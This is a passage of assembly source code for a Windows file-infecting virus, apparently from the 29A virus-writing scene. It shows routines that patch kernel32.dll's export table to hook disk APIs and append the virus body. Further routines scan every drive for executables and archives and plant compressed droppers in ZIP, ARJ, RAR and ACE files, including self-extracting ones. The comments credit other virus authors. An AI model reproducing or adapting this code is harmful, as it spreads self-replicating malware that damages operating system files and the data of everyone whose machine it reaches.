; * address table pointer (as are functions addresses)
|
||
; * ordinal table pointer
|
||
;Then I'll get function name, calculate its CRC32 and I'll
|
||
;compare it with my future-hooked CRC32 table. If I will
|
||
;find it, i will save its original address, replace by my
|
||
;my new offset and I'll write it to the file.
|
||
;
|
||
;I would like to thank:
|
||
; * "Memory Lapse" for his "Win32.Heretic" source
|
||
; * Darkman/29A for giving me that source
|
||
;
|
||
;I must infect "kernel32.dll" because I must hook all disk
|
||
;functions because of "Prizzy Hyper Infection for API".
|
||
;
|
||
infect_file_kernel:
|
||
|
||
; save all registers
|
||
pusha
|
||
|
||
; check address of APIs in KERNEL32 file body
|
||
mov eax,[ebp+file_hmem]
|
||
add eax,[eax.MZ_lfanew] ;go to new "PE" header
|
||
|
||
mov eax,dword ptr [eax.OH_DirectoryEntries + \
|
||
IMAGE_SIZEOF_FILE_HEADER + \
|
||
00000004h] ;get Export Directory Table
|
||
add eax,[ebp+file_hmem]
|
||
|
||
mov ebx,[eax.ED_AddressOfOrdinals]
|
||
mov esi,[eax.ED_AddressOfNames]
|
||
mov edx,[eax.ED_AddressOfFunctions]
|
||
push [eax.ED_BaseOrdinal] ;save BaseOrdinal
|
||
add eax,[eax.ED_BaseOrdinal]
|
||
|
||
add ebx,[ebp+file_hmem] ;adjust ordinal table pointer
|
||
add esi,[ebp+file_hmem] ;adjust name table pointer
|
||
add edx,[ebp+file_hmem] ;adjust address table pointer
|
||
push edx esi ebx ;save startup values
|
||
|
||
; main loop
|
||
lea edi,[ebp+Hooked_API]
|
||
mov ecx,00000001h
|
||
__ifk_next_loop:
|
||
push edx ;address table pointer
|
||
push ecx ;save counter
|
||
shl ecx,01h ;convert to word index
|
||
|
||
movzx eax,word ptr [ebx+ecx] ;calculate ordinal index
|
||
sub eax,[esp+00000014h] ;relative to ordinal basee
|
||
shl eax,02h ;convert to dword index
|
||
|
||
mov edx,eax
|
||
mov ecx,[esp+00000010h] ;address pointer table
|
||
|
||
add eax,ecx ;calculate offset
|
||
lea ecx,[ecx+edx] ;RVA of API
|
||
|
||
push esi ;address name table
|
||
mov esi,[esi] ;get pointer from name table
|
||
add esi,[ebp+file_hmem]
|
||
call __get_CRC32 ;get CRC32 for function name
|
||
cmp eax,[edi] ;compare CRC32
|
||
pop esi
|
||
jnz __ifk_not_found
|
||
|
||
push edi ;load original function addr
|
||
lea eax,[ebp+Hooked_API]
|
||
sub edi,eax
|
||
shl edi,01h ;so, (x/2)*8
|
||
lea eax,[ebp+Hooked_API_functions]
|
||
add edi,eax
|
||
mov eax,[edi] ;get address into "jmp ????"
|
||
add eax,ebp ;ehm, adjust that address
|
||
mov ebx,[ecx] ;load original address
|
||
add ebx,[ebp+kernel_base]
|
||
mov [eax],ebx ;save original func. address
|
||
mov eax,[edi+00000004h] ;load new address in v.body
|
||
pop edi
|
||
add edi,00000004h ;next CRC32 function value
|
||
|
||
sub eax,offset virus_start ; - "offset"
|
||
add eax,[ebp+dta.dta_filesize] ;new func. pos in "k32"
|
||
mov [ecx],eax
|
||
|
||
; for next loop I must restart these values
|
||
mov ebx,[esp+00000008h] ;load ordinal table pointer
|
||
mov esi,[esp+0000000Ch] ;load name table pointer
|
||
mov edx,[esp+00000010h] ;load address table pointer
|
||
mov dword ptr [esp],00000000h ;reset counter
|
||
mov [esp+00000004h],edx ;reset address table pointer
|
||
jmp __ifk_no_change ;this was fucking bug !
|
||
|
||
__ifk_not_found:
|
||
add esi,00000004h ;next name pointer
|
||
add dword ptr [esp + \ ;next function pointer
|
||
00000004h],00000004h
|
||
__ifk_no_change:
|
||
pop ecx ;functions counter
|
||
inc ecx ;next function
|
||
pop edx ;address table pointer
|
||
cmp dword ptr [edi],00000000h ;end of hooked functions ?
|
||
jnz __ifk_next_loop
|
||
|
||
mov dword ptr [ebp+it_is_kernel],00000000h
|
||
mov dword ptr [ebp+HyperInfection_k32],00000000h
|
||
|
||
; write this virus body to the end of "kernel32.dll"
|
||
; virus body cannot be encrypted...
|
||
lea esi,[ebp+virus_start] ;start of virus body
|
||
mov edi,[ebp+mem_address] ;allocated memory
|
||
mov ecx,mem_size
|
||
rep movsb
|
||
|
||
mov dword ptr [ebp+it_is_kernel],00000001h
|
||
mov eax,mem_size ;without poly-engine !!!
|
||
mov [ebp+poly_finish],eax
|
||
|
||
add esp,4*4
|
||
popa
|
||
ret ;complex way how to go back
|
||
|
||
;ÄÄÄ´ main function of infect all filez on disks ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
||
|
||
;---------------------------------------------------------
|
||
;This function searchs these extensions on all disks:
|
||
; EXE, ZIP, ARJ, RAR, ACE, CAB, ...
|
||
;and many namez, find "HyperTable" struct for more info.
|
||
;If you want to know more about this method, open "Hyper
|
||
;Infection" article in 29A #4, or download one from my web
|
||
;
|
||
;Note: * This is version for API, for IDT orientation use
|
||
; code from "Win95.Prizzy", thanks.
|
||
;
|
||
init_search:
|
||
|
||
pusha
|
||
call get_base_ebp ;where we're into ebp
|
||
|
||
mov ebx,[ebp+search_table] ;position in HyperTable
|
||
cmp byte ptr [ebp+search_start],00h
|
||
jnz __continue
|
||
mov byte ptr [ebp+search_start],01h
|
||
call get_disks ;get drive parameters
|
||
lea eax,[ebp+time]
|
||
push eax
|
||
call [ebp+ddGetSystemTime] ;get actual time
|
||
|
||
mov eax,search_mem_size ;size of mem for searching
|
||
call malloc
|
||
jz init_search_error ;were we sucessful ?
|
||
mov [ebp+search_address],eax
|
||
|
||
mov eax,005C3A43h ;'C:\\0'
|
||
mov dword ptr [ebp+search_filename],eax
|
||
__searching:
|
||
mov byte ptr [ebp+search_plunge],00h
|
||
jmp search_all_dirs
|
||
__searching_end:
|
||
cmp byte ptr [ebp+search_filename],'Z'
|
||
jz init_search_done
|
||
inc byte ptr [ebp+search_filename]
|
||
mov word ptr [ebp+search_filename+2],005Ch
|
||
|
||
; what disk is it ? fixed ? cd-rom ? ram-disk ? etc. ?
|
||
mov cl,'A'
|
||
sub cl,[ebp+search_filename]
|
||
neg cl
|
||
mov eax,00000001h
|
||
shl eax,cl ;convert to BCD
|
||
test [ebp+gdt_flags],eax
|
||
jnz __searching ;may I "use" this disk ?
|
||
jmp __searching_end ;uaaaaah, i'm crazy... :)
|
||
|
||
init_search_exit:
|
||
mov ecx,dword ptr [ebp+search_address]
|
||
call mdealloc ;deallocate memory
|
||
|
||
init_search_error:
|
||
popa ;restore all regz
|
||
ret
|
||
|
||
init_search_done: ;all disks infected?
|
||
call hookHyperInfection_Done ;remove timer
|
||
jmp init_search_exit
|
||
|
||
search_all_dirs:
|
||
lea ebx,[ebp+HyperTable]
|
||
search_all_dirs_continue:
|
||
call __add_filename ;add filename or extension
|
||
|
||
call __calc_in_mem ;offs dta in mem to esi
|
||
|
||
lea edx,[ebp+search_filename]
|
||
call __MyFindFirst
|
||
mov [esi-size search_handle],eax ;save handle
|
||
jc __find_dir ;error ?
|
||
|
||
__repeat:
|
||
call __clean ;delete extension
|
||
push esi
|
||
lea esi,[esi].dta_filename ;and add file name
|
||
@copysz ;copy with zero char
|
||
pop esi ;restore esi=dta in memory
|
||
lea eax,[ebp+search_filename]
|
||
mov [ebp+filename_ptr],eax
|
||
|
||
__final_SoftICE_1:
|
||
nop
|
||
nop
|
||
; int 4 ;final SoftICE breakpoint
|
||
|
||
mov eax,[ebx-00000004h] ;input value
|
||
push dword ptr [ebx-00000008h]
|
||
add [esp],ebp ;this was ghastly bug !
|
||
call [esp] ;call function
|
||
pop eax
|
||
|
||
push word ptr [ebp+time.wSecond]
|
||
lea eax,[ebp+time] ;give time other appz
|
||
push eax
|
||
call [ebp+ddGetSystemTime]
|
||
pop cx
|
||
mov [ebp+search_table],ebx ;position in HyperTable
|
||
cmp cx,[ebp+time.wSecond] ;out of time ?
|
||
jnz init_search_error
|
||
|
||
__continue:
|
||
call __calc_in_mem ;esi=dta in memory
|
||
mov eax,[esi-size search_handle] ;handle of FindFirstFile
|
||
call __MyFindNext
|
||
jnc __repeat
|
||
call __MyFindClose
|
||
|
||
__find_dir:
|
||
call __clean ;remove file name/extension
|
||
cmp byte ptr [ebx],0FFh ;last file name ?
|
||
jnz search_all_dirs_continue
|
||
|
||
__find_dir_continue:
|
||
mov [edi],002A2E2Ah ;add '*.*',0
|
||
|
||
call __calc_in_mem
|
||
lea edx,[ebp+search_filename]
|
||
|
||
call __MyFindFirst ;search directory "only"
|
||
mov [esi-size search_handle],eax
|
||
jc __search_exit
|
||
|
||
__find_in_dir:
|
||
test [esi].dta_fileattr,10h ;is it directory ?
|
||
jz __find_next
|
||
cmp [esi].dta_filename,'.' ;it can't be directory
|
||
jz __find_next
|
||
|
||
inc byte ptr [ebp+search_plunge]
|
||
|
||
call __get_last_char ;edi=last char of filename
|
||
lea esi,[esi].dta_filename ;esi=filename
|
||
|
||
call __clean ;remove extension
|
||
|
||
@copysz ;copy directory name and
|
||
mov word ptr [edi-1],005Ch ;set '\' at the end
|
||
|
||
jmp search_all_dirs ;search in new directory
|
||
|
||
__find_next:
|
||
call __calc_in_mem
|
||
mov eax,[esi-size search_handle]
|
||
call __MyFindNext
|
||
jnc __find_in_dir
|
||
|
||
__search_exit:
|
||
call __clean ;remove file name and '\'
|
||
mov byte ptr [edi-1],00h ;it's out of directory
|
||
dec byte ptr [ebp+search_plunge]
|
||
cmp byte ptr [ebp+search_filename+2],00h
|
||
jz __searching_end
|
||
jmp __find_next
|
||
|
||
__calc_in_mem: ;get pointer to dta in memory
|
||
movzx esi,byte ptr [ebp+search_plunge]
|
||
imul esi,size dta+size search_handle
|
||
add esi,[ebp+search_address]
|
||
add esi,size search_handle
|
||
ret
|
||
|
||
__add_filename: ;add f.n. or ext by HyperTable
|
||
call __get_last_char
|
||
cmp byte ptr [ebx],00h ;only extension ?
|
||
jnz __af_fullcopy
|
||
mov eax,[ebx+1] ;load extension
|
||
mov byte ptr [edi],2Ah ;'*'
|
||
mov [edi+1],eax ;and extension
|
||
mov byte ptr [edi+5],00h ;zero byte
|
||
add ebx,HyperTable_OneSize
|
||
cmp byte ptr [ebx - \
|
||
HyperTable_HalfSize],00h;search this extension ?
|
||
jz __aff_finish
|
||
pop eax
|
||
jmp __find_dir
|
||
__aff_finish:
|
||
ret
|
||
|
||
__af_fullcopy:
|
||
inc ebx
|
||
mov al,byte ptr [ebx] ;load filename's char
|
||
mov [edi],al
|
||
inc edi
|
||
or al,al ;end of filename ?
|
||
jnz __af_fullcopy
|
||
add ebx,HyperTable_HalfSize+1;+1 means zero byte
|
||
cmp byte ptr [ebx - \
|
||
HyperTable_HalfSize],00h;search this filename ?
|
||
jz __aff_finish
|
||
pop eax
|
||
jmp __find_dir
|
||
|
||
__get_last_char: ;edi=last char+1 in filename
|
||
lea edi,[ebp+search_filename]
|
||
mov ecx,filename_size
|
||
xor al,al
|
||
cld
|
||
repnz scasb
|
||
dec edi
|
||
ret
|
||
|
||
__clean: ;clean last item in filename
|
||
lea edx,[ebp+search_filename]
|
||
call __get_last_char
|
||
__2:mov byte ptr [edi],0
|
||
dec edi
|
||
cmp byte ptr [edi],'\'
|
||
jnz __2
|
||
inc edi
|
||
ret
|
||
|
||
;ÄÄÄ´ infection in ACE/RAR and ACE/RAR EXE-SFX archivez ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
||
|
||
;---------------------------------------------------------
|
||
;This function scans input EXE file whether it is not SFX
|
||
;for RAR (Dos,W32) or for ACE (Dos,Win32 - German/English)
|
||
;If yes, I will put compressed dropper in the end of file.
|
||
;Why that ? See on "infect_ACE:" comment for more info.
|
||
;
|
||
__iSFX_fHandle dd 00000000h ;file's handle
|
||
__iSFX_fMemory dd 00000000h ;file's headers
|
||
__iSFX_nCompare dd 00000000h ;comparing places
|
||
;
|
||
infect_ACE_RAR:
|
||
|
||
; open input file
|
||
mov edx,[ebp+filename_ptr]
|
||
call __MyOpenFile
|
||
jc __iSFX_finish
|
||
mov [ebp+__iSFX_fHandle],eax
|
||
|
||
; allocate memory for comparing
|
||
mov eax,10000h
|
||
call malloc
|
||
mov [ebp+__iSFX_fMemory],eax
|
||
|
||
; we must search certain bytes on certain file position
|
||
mov [ebp+__iSFX_nCompare],7 ;six! comparing
|
||
__iSFX_search_1:
|
||
dec [ebp+__iSFX_nCompare]
|
||
jz __iSFX_sEnd
|
||
lea ebx,[ebp+Archive_MagicWhere]
|
||
__iSFX_magic_okay:
|
||
mov eax,[ebp+__iSFX_nCompare]
|
||
imul eax,00000004h
|
||
add ebx,eax
|
||
movzx ecx,word ptr [ebx-0002h] ;ecx=bytes to read
|
||
movzx esi,word ptr [ebx-0004h] ;esi=file pos
|
||
|
||
; now, i will read datas
|
||
mov edx,[ebp+__iSFX_fMemory] ;allocated place
|
||
mov ebx,[ebp+__iSFX_fHandle]
|
||
call __MyReadFile ;i can't check error!
|
||
|
||
; prepare to scan
|
||
mov edi,[ebp+__iSFX_fMemory]
|
||
mov ebx,edi
|
||
add ebx,ecx ;end of memory buffer
|
||
__iSFX_search_2:
|
||
cmp edi,ebx
|
||
ja __iSFX_search_1
|
||
|
||
; search archive's signatures
|
||
lea esi,[ebp+RAR_Magic] ;no, esi=RAR_Magic
|
||
mov ecx,RAR_Magic_Length ;and its size
|
||
cmp [ebp+__iSFX_nCompare],00000004h
|
||
jae __iSFX_s2_continue ;is it really RAR ?
|
||
lea esi,[ebp+ACE_Magic] ;esi=ACE_Magic
|
||
mov ecx,ACE_Magic_Length ;and its size
|
||
__iSFX_s2_continue:
|
||
cld
|
||
rep cmpsb ;compare magics
|
||
jnz __iSFX_search_2 ;shit, we must search on other place
|
||
|
||
; position on header's start
|
||
sub edi,RAR_Magic_Length
|
||
cmp [ebp+__iSFX_nCompare],00000004h
|
||
jae __iSFX_h_read
|
||
sub edi,2*ACE_Magic_Length-RAR_Magic_Length
|
||
__iSFX_h_read:
|
||
|
||
; check multivolume flag
|
||
cmp [ebp+__iSFX_nCompare],00000004h
|
||
jae __iSFX_mf_rar
|
||
test word ptr [edi+ACEhHeadFlags-ACE_h_struct],2048
|
||
jmp __iSFX_mf_finish
|
||
__iSFX_mf_rar:
|
||
test word ptr [edi+RARFileFlags-RARSignature],0001h
|
||
__iSFX_mf_finish:
|
||
jnz __iSFX_sEnd
|
||
|
||
; call "child" functions, set certain input parameters
|
||
mov eax,[ebp+__iSFX_fHandle]
|
||
mov [ebp+__iACR_fHandle],eax ;modify handle
|
||
|
||
mov [ebp+__iACR_Type],__iACR_tRAR ;yeah, RAR archive
|
||
cmp [ebp+__iSFX_nCompare],00000004h
|
||
jae __iSFX_cc_finish
|
||
mov [ebp+__iACR_Type],__iACR_tACE ;yeah, ACE archive
|
||
__iSFX_cc_finish:
|
||
mov ebx,[ebp+__iSFX_fHandle] ;check whether SFX
|
||
call __get_archive_infected ;archive has been
|
||
jc __iSFX_fClose ;infected
|
||
|
||
call __iACR_child_function ;call main function
|
||
jmp __iSFX_finish ;to infect ACE or RAR
|
||
|
||
__iSFX_sEnd:
|
||
call __iSFX_fClose
|
||
stc
|
||
ret
|
||
|
||
__iSFX_fClose:
|
||
mov ebx,[ebp+__iSFX_fHandle]
|
||
call __MyCloseFile
|
||
__iSFX_finish:
|
||
clc
|
||
ret
|
||
|
||
;ÄÄÄ´ infection in ACE, RAR archivez ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
||
|
||
;---------------------------------------------------------
|
||
;This function infects ACE and RAR archivez. Unfortunately
|
||
;I can't my dropper place inside archive 'cause if archive
|
||
;is solid type resulting archive won't okay. Yes, this was
|
||
;shock for me. But if archive isn't solid all will be okay
|
||
;althrough this method is not support here. So, my dropper
|
||
;is compressed but in the end of file.
|
||
;
|
||
; input: filename_ptr ... pointer to an ARJ's filename
|
||
; NewARJ struc ... has been filled? I dont know!
|
||
;
|
||
; output: nothing
|
||
;
|
||
__iACR_fHandle dd 00000000h ;archive's handle
|
||
__iACR_dHandle dd 00000000h ;dropper's handle
|
||
__iACR_dMemory dd 00000000h ;dropper's body
|
||
;
|
||
__iACR_Type dd 00000000h ;ACE or RAR ?
|
||
__iACR_tACE equ 00h ;ACE signature
|
||
__iACR_tRAR equ 01h ;RAR signature
|
||
;
|
||
infect_ACE: mov [ebp+__iACR_Type],__iACR_tACE ;yeah, ACE archive
|
||
jmp infect_ACR
|
||
infect_RAR: mov [ebp+__iACR_Type],__iACR_tRAR ;yeah, RAR archive
|
||
|
||
; here, common functions is starting...
|
||
infect_ACR:
|
||
|
||
; check whether dropper exists
|
||
mov eax,[ebp+__iACR_Type] ;get archive type
|
||
imul eax,size AProgram
|
||
cmp [ebp+eax+NewACE.dropper],00000000h
|
||
jz __iACR_finish ;does dropper exists ?
|
||
|
||
; open archive file
|
||
mov edx,[ebp+filename_ptr]
|
||
call __MyOpenFile
|
||
jc __iACR_finish
|
||
mov [ebp+__iACR_fHandle],eax
|
||
|
||
; check whether archive has been infected
|
||
mov ebx,[ebp+__iACR_fHandle]
|
||
call __get_archive_infected
|
||
jc __iACR_fClose
|
||
|
||
; read archive header
|
||
cmp dword ptr [ebp+offset __iACR_Type],__iACR_tACE
|
||
jnz __iACR_rar_1
|
||
lea edx,[ebp+ACE_h_struct] ;destination place
|
||
mov ecx,ACENeededBytes
|
||
jmp __iACR_end_1
|
||
__iACR_rar_1:
|
||
lea edx,[ebp+RARSignature] ;destination place
|
||
mov ecx,RARSignature_Length + \
|
||
RARNeededBytes ;number of bytes to read
|
||
|
||
__iACR_end_1:
|
||
xor esi,esi
|
||
mov ebx,[ebp+__iACR_fHandle]
|
||
call __MyReadFile
|
||
jc __iACR_fClose
|
||
|
||
; check archive's header
|
||
cmp dword ptr [ebp+offset __iACR_Type],__iACR_tACE
|
||
jnz __iACR_rar_2
|
||
cmp dword ptr [ebp+ACEhSignature],'CA**'
|
||
jnz __iACR_fClose ;the 1st part of sign
|
||
cmp word ptr [ebp+ACEhSignature+00000004h],'*E'
|
||
jnz __iACR_fClose ;the 2nd part
|
||
test word ptr [ebp+ACEhHeadFlags],2048
|
||
jnz __iACR_fClose ;multivolume flag ?
|
||
jmp __iACR_end_2
|
||
__iACR_rar_2:
|
||
cmp dword ptr [ebp+RARSignature],'!raR'
|
||
jnz __iACR_fClose
|
||
cmp word ptr [ebp+RARSignature+00000004h],071Ah
|
||
jnz __iACR_fClose
|
||
test word ptr [ebp+RARFileFlags],0001h
|
||
jnz __iACR_fClose ;multivolume flag ?
|
||
__iACR_end_2:
|
||
|
||
; open dropper file
|
||
__iACR_child_function:
|
||
mov edx,[ebp+__iACR_Type] ;get archive type
|
||
imul edx,size AProgram
|
||
mov edx,[ebp+edx+NewACE.dropper]
|
||
or edx,edx ;once again test:
|
||
jz __iACR_finish ;does dropper exists ?
|
||
call __MyOpenFile
|
||
jc __iACR_fClose
|
||
mov [ebp+__iACR_dHandle],eax
|
||
|
||
; get dropper's file size
|
||
mov ebx,[ebp+__iACR_dHandle]
|
||
call __MyGetFileSize
|
||
mov ecx,eax
|
||
|
||
; allocate memory for dropper's file body
|
||
call malloc
|
||
mov [ebp+__iACR_dMemory],eax
|
||
|
||
; read whole dropper's body
|
||
mov edx,[ebp+__iACR_dMemory];destination buffer
|
||
xor esi,esi ;file position
|
||
mov ebx,[ebp+__iACR_dHandle];dropper's handle
|
||
call __MyReadFile
|
||
jc __iACR_dClose
|
||
|
||
; get archive file size
|
||
mov ebx,[ebp+__iACR_fHandle]
|
||
call __MyGetFileSize
|
||
mov esi,eax
|
||
|
||
; "update" archive file by my dropper
|
||
cmp dword ptr [ebp+offset __iACR_Type],__iACR_tACE
|
||
jnz __iACR_rar_3
|
||
movzx eax,word ptr [edx+ACEhHeadSize-ACE_h_struct]
|
||
add eax,00000004h
|
||
jmp __iACR_end_3
|
||
__iACR_rar_3:
|
||
movzx eax,word ptr [edx+RARHeaderSize-RARSignature]
|
||
add eax,RARSignature_Length
|
||
|
||
__iACR_end_3:
|
||
add edx,eax ;header take away
|
||
sub ecx,eax ;without main header, please
|
||
mov ebx,[ebp+__iACR_fHandle]
|
||
call __MyWriteFile ;write my dropper, uaaah :)
|
||
|
||
; archive has been infected
|
||
mov ebx,[ebp+__iACR_fHandle]
|
||
call __set_archive_infected
|
||
|
||
__iACR_dClose:
|
||
mov ebx,[ebp+__iACR_dHandle]
|
||
call __MyCloseFile
|
||
__iACR_dealloc:
|
||
mov eax,[ebp+__iACR_dMemory]
|
||
call mdealloc
|
||
__iACR_fClose:
|
||
mov ebx,[ebp+__iACR_fHandle]
|
||
call __MyCloseFile
|
||
|
||
__iACR_finish:
|
||
ret
|
||
|
||
;ÄÄÄ´ infection in ARJ archivez ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
||
|
||
;---------------------------------------------------------
|
||
;This function infect ARJ archivez by my prepared dropper.
|
||
;Dropper is compressed by ARJ (four method without store).
|
||
;
|
||
; input: filename_ptr ... pointer to an ARJ's filename
|
||
; NewARJ struc ... 's been filled? I dont know!
|
||
;
|
||
; output: nothing
|
||
;
|
||
__iARJ_fHandle dd 00000000h ;archive's handle
|
||
__iARJ_fFiles dd 00000000h ;number of files
|
||
__iARJ_dHandle dd 00000000h ;dropper's handle
|
||
__iARJ_dMemory dd 00000000h ;dropper's file body
|
||
;
|
||
infect_ARJ:
|
||
|
||
xor eax,eax
|
||
mov [ebp+__iARJ_fFiles],eax
|
||
|
||
; check whether dropper exists
|
||
cmp [ebp+NewARJ.dropper],00000000h
|
||
jz __iARJ_finish
|
||
|
||
; open archive
|
||
mov edx,[ebp+filename_ptr]
|
||
call __MyOpenFile
|
||
jc __iARJ_finish
|
||
mov [ebp+__iARJ_fHandle],eax
|
||
|
||
; check whether archive has been infected
|
||
mov ebx,[ebp+__iARJ_fHandle]
|
||
call __get_archive_infected
|
||
jc __iARJ_fClose
|
||
|
||
; read archive header
|
||
lea edx,[ebp+ARJ_struct] ;destination place
|
||
mov ecx,ARJNeededBytes ;needed bytes to read
|
||
xor esi,esi ;file position
|
||
mov ebx,[ebp+__iARJ_fHandle];file handle
|
||
call __MyReadFile
|
||
jc __iARJ_fClose
|
||
|
||
; check archive's signatures
|
||
cmp word ptr [ebp+ARJHeaderId],0EA60h
|
||
jnz __iARJ_fClose
|
||
test byte ptr [ebp+ARJFlags],04h
|
||
jnz __iARJ_fClose ;multivolume flags, I guess
|
||
|
||
; get number of files
|
||
lea edx,[ebp+ARJ_struct] ;destination place
|
||
movzx esi,word ptr [ebp+ARJHeaderSize] ;file position
|
||
add esi,0000000Ah ;add up file-off
|
||
mov ecx,ARJNeededBytes ;needed bytes to read
|
||
mov ebx,[ebp+__iARJ_fHandle];file handle
|
||
push esi ;first entry
|
||
__iARJ_search_1:
|
||
call __iARJ_next_file
|
||
jc __iARJ_sEnd_1 ;it isn't 100% error !
|
||
|
||
; next file has been found
|
||
inc [ebp+__iARJ_fFiles] ;increase files counter :)
|
||
jmp __iARJ_search_1
|
||
|
||
__iARJ_sEnd_1:
|
||
pop esi ;first entry
|
||
cmp ecx,00000004h ;end of file ?
|
||
jnz __iARJ_fClose
|
||
cmp word ptr [ebp+ARJHeaderSize],0000h
|
||
jnz __iARJ_fClose ;double security :)
|
||
|
||
; generate my new archive file position
|
||
mov eax,[ebp+__iARJ_fFiles] ;number of files
|
||
inc eax
|
||
call ppe_get_rnd_range
|
||
xchg eax,ecx ;new ECX: disable files
|
||
|
||
; read file headers which aren't neccessary for me
|
||
jecxz __iARJ_sEnd_2
|
||
__iARJ_search_2:
|
||
push ecx
|
||
call __iARJ_next_file ;disable folders
|
||
pop ecx
|
||
loop __iARJ_search_2
|
||
__iARJ_sEnd_2:
|
||
|
||
; note: ESI = my new place :)
|
||
mov edi,esi
|
||
|
||
; open dropper file
|
||
mov edx,[ebp+NewARJ.dropper]
|
||
call __MyOpenFile
|
||
jc __iARJ_fClose
|
||
mov [ebp+__iARJ_dHandle],eax
|
||
|
||
; get dropper's file size
|
||
mov ebx,[ebp+__iARJ_dHandle]
|
||
call __MyGetFileSize
|
||
mov edx,eax
|
||
|
||
; get archive's file size and subtract my new place
|
||
mov ebx,[ebp+__iARJ_fHandle]
|
||
call __MyGetFileSize
|
||
sub eax,esi ;esi = my new place
|
||
push eax ;archive's needed size
|
||
add eax,edx
|
||
push edx ;dropper's file size
|
||
|
||
; allocate memory for dropper's file body
|
||
call malloc
|
||
mov [ebp+__iARJ_dMemory],eax
|
||
|
||
; read whole dropper's file body
|
||
mov edx,[ebp+__iARJ_dMemory];destination place
|
||
pop ecx ;number of bytes to read
|
||
xor esi,esi ;file position
|
||
mov ebx,[ebp+__iARJ_dHandle];file handle
|
||
call __MyReadFile
|
||
pop ebx ;archive's needed file size
|
||
jc __iARJ_dClose
|
||
|
||
; read "almost" whole archive file behind my dropper
|
||
add edx,ecx ;new destination place
|
||
sub edx,00000004h ;delete ending two flags
|
||
mov esi,edi ;edi = my new place
|
||
mov ecx,ebx ;number of bytes to read
|
||
mov ebx,[ebp+__iARJ_fHandle]
|
||
call __MyReadFile
|
||
jc __iARJ_dClose
|
||
|
||
; "update" archive file :)
|
||
add ecx,edx ;end of readed datas
|
||
sub ecx,[ebp+__iARJ_dMemory]
|
||
mov edx,[ebp+__iARJ_dMemory]
|
||
movzx eax,word ptr [edx+00000002h]
|
||
add eax,0000000Ah
|
||
add edx,eax
|
||
sub ecx,eax
|
||
mov ebx,[ebp+__iARJ_fHandle]
|
||
call __MyWriteFile
|
||
|
||
; archive has been infected
|
||
mov ebx,[ebp+__iARJ_fHandle]
|
||
call __set_archive_infected
|
||
|
||
__iARJ_dClose:
|
||
mov ebx,[ebp+__iARJ_dHandle]
|
||
call __MyCloseFile
|
||
__iARJ_dealloc:
|
||
mov eax,[ebp+__iARJ_dMemory]
|
||
call mdealloc
|
||
__iARJ_fClose:
|
||
mov ebx,[ebp+__iARJ_fHandle]
|
||
call __MyCloseFile
|
||
|
||
__iARJ_finish:
|
||
ret
|
||
|
||
;---------------------------------------------------------
|
||
;Set file position on the next entry
|
||
;
|
||
; input: EDX ... destination buffer
|
||
; EBX ... file handle
|
||
; ESI ... some header's place (file position)
|
||
;
|
||
; output: ESI ... next header position (if exists :)
|
||
; Cflags
|
||
;
|
||
__iARJ_next_file:
|
||
mov ecx,ARJNeededBytes ;number of bytes to read
|
||
call __MyReadFile
|
||
jc __iARJ_nf_check ;it isn't 100% error !
|
||
|
||
; set file position on the next file
|
||
movzx eax,word ptr [ebp+ARJHeaderSize]
|
||
add eax,[ebp+ARJCompressedSize]
|
||
add eax,0000000Ah ;add up file-off
|
||
add esi,eax
|
||
__iARJ_nf_check:
|
||
ret
|
||
|
||
;ÄÄÄ´ infection in ZIP archivez ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
||
|
||
;---------------------------------------------------------
|
||
;This function adds to ZIP archive certain EXE file which
|
||
;has been infected and compressed by PKZIP achiver program
|
||
;Compressing method has been selected randomly from four
|
||
;possibilities (without "store" method, of course).
|
||
;
|
||
; input: filename_ptr ... pointer to a ZIP's filename
|
||
; NewZIP struc ... has been filled? I dont know!
|
||
;
|
||
; output: nothing
|
||
;
|
||
__iZIP_fHandle dd 00000000h ;archive's file handle
|
||
__iZIP_fHeaders dd 00000000h ;archive's headers
|
||
__iZIP_fNewDPos dd 00000000h ;a. pos for d. body
|
||
__iZIP_fMemory dd 00000000h ;archive's file body
|
||
|
||
__iZIP_dHandle dd 00000000h ;dropper's file handle
|
||
__iZIP_dFSize dd 00000000h ;dropper's file size
|
||
__iZIP_dMemory dd 00000000h ;dropper's file body
|
||
__iZIP_dHSize dd 00000000h ;dropper's header s.
|
||
;
|
||
infect_ZIP:
|
||
|
||
; check whether "NewZIP" struc has been filled
|
||
cmp [ebp+NewZIP.dropper],00000000h
|
||
jz __iZIP_finish
|
||
|
||
; open archive file
|
||
mov edx,[ebp+filename_ptr]
|
||
call __MyOpenFile
|
||
jc __iZIP_finish
|
||
mov [ebp+__iZIP_fHandle],eax
|
||
|
||
; check whether archive has been infected
|
||
mov ebx,[ebp+__iZIP_fHandle]
|
||
call __get_archive_infected
|
||
jc __iZIP_fClose
|
||
|
||
; get archive file size
|
||
mov ebx,[ebp+__iZIP_fHandle]
|
||
call __MyGetFileSize
|
||
mov esi,eax
|
||
|
||
; read its 3rd table
|
||
mov ecx,ZIPEHeaderSize ;number of bytes to read
|
||
lea edx,[ebp+ZIPReadBuffer] ;destination buffer
|
||
sub esi,ZIPEHeaderSize ;file pos
|
||
mov ebx,[ebp+__iZIP_fHandle];file handle
|
||
call __MyReadFile
|
||
jc __iZIP_fClose
|
||
|
||
; check that table
|
||
cmp word ptr [ebp+ZIPEHeaderId],'KP'
|
||
jnz __iZIP_fClose
|
||
cmp word ptr [ebp+ZIPSignature],0605h
|
||
jnz __iZIP_fClose
|
||
cmp dword ptr [ebp+ZIPNoDisk],00000000h
|
||
jnz __iZIP_fClose
|
||
|
||
; open dropper file
|
||
mov edx,[ebp+NewZIP.dropper]
|
||
call __MyOpenFile
|
||
jc __iZIP_fClose
|
||
mov [ebp+__iZIP_dHandle],eax
|
||
|
||
; get its file size
|
||
mov ebx,[ebp+__iZIP_dHandle]
|
||
call __MyGetFileSize
|
||
mov [ebp+__iZIP_dFSize],eax
|
||
|
||
; allocate memory
|
||
call malloc
|
||
mov [ebp+__iZIP_dMemory],eax
|
||
|
||
; read its file body
|
||
